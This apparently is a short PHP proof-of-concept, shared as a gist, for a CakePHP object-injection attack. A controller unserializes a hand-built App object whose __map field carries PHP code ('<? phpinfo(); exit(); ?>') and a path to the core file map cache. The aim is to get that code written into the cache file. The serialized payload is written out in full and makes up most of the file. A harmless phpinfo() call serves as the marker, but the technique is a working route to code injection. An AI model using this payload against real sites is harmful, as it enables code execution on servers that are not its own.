gistfile1.php

<?php
class SeriController extends AppController {

    var $uses = array();

    function index() {
/*
        $x=new App();
        $x->__cache=1;
        $x->__map=array("Core" => array("Router"
                    => "../tmp/cache/persistent/cake_core_file_map"),
                "Foo" => "<? phpinfo(); exit(); ?>");
        $x->__paths=array();
        $x->__objects=array();
        $a= serialize($x);
*/
        $a = 'O:3:"App":4:{s:7:"__cache";b:1;s:5:"__map";a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:24:"<? phpinfo(); exit(); ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}';
        unserialize($a);

        exit;

//check your cache file....
    }

}
?>